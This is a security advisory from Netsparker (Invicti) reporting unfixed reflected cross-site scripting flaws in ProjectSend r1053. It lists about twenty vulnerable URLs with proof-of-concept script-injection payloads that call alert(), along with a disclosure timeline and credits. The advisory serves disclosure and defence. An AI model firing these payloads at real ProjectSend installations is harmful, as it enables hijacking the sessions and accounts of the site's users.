Multiple Cross-site Scripting Vulnerabilities in ProjectSend r1053

Information

Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting Vulnerabilities in ProjectSend r1053
Affected Software: ProjectSend
Affected Versions: r1053
Homepage: https://www.projectsend.org/
Vulnerability: Reflected Cross-site Scripting
Severity: High
Status: Not Fixed
CVSS Score (3.0): 6.3
Invicti Advisory Reference: NS-18-061

Technical Details

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/actions-log.php?search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00773F)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00773F)</scRipt>=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/actions-log.php?select_all=3&batch%5b%5d=4969&page=x%22%20onmouseover%3dalert(0x0075D5)%20x%3d%22&action=none
Parameter Name: page
Parameter Type: GET
Attack Pattern: x%22%20onmouseover%3dalert(0x0075D5)%20x%3d%22

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/actions-log.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001890)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001890)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/categories.php?action=edit&id=%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004CF0)%3C/scRipt%3E
Parameter Name: id
Parameter Type: GET
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x004CF0)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/categories.php?page=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00BB7B)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x00BB7B)</scRipt>=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/categories.php?page=x%22%20onmouseover%3dalert(0x00A21E)%20x%3d%22
Parameter Name: page
Parameter Type: GET
Attack Pattern: x%22%20onmouseover%3dalert(0x00A21E)%20x%3d%22

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/categories.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001602)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001602)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/clients.php?search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005F9D)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005F9D)%3C/scRipt%3E=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/clients.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0017E6)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0017E6)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/clients-requests.php?search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005FCD)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005FCD)%3C/scRipt%3E=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/clients-requests.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CAB)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CAB)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/groups.php?search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0075D7)%3C/scRipt%3E=nsext
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0075D7)%3C/scRipt%3E=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/groups.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001830)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x001830)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/manage-files.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CA9)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CA9)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/manage-files.php?%27=&action=none&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00C9C8)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00C9C8)%3C/scRipt%3E=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/my_files/?client=Smith&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005572)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x005572)%3C/scRipt%3E=nsextt

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/my_files/?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0054DE)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0054DE)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/upload-import-orphans.php?%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CAA)%3C/scRipt%3E
Parameter Name: Query Based
Parameter Type: Query String
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x000CAA)%3C/scRipt%3E

URL: http://{DOMAIN}/{PATH-OF-PROJECTSEND}/upload-import-orphans.php?%27=&search=&%27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00CB6C)%3C/scRipt%3E=nsextt
Parameter Name: nsparamname
Parameter Type: GET
Attack Pattern: %27%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x00CB6C)%3C/scRipt%3E=nsextt

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

21th December 2018- First Contact
31st January 2019 – Details Sent
20th February 2019 – Last Attempt to Contact
4th March 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.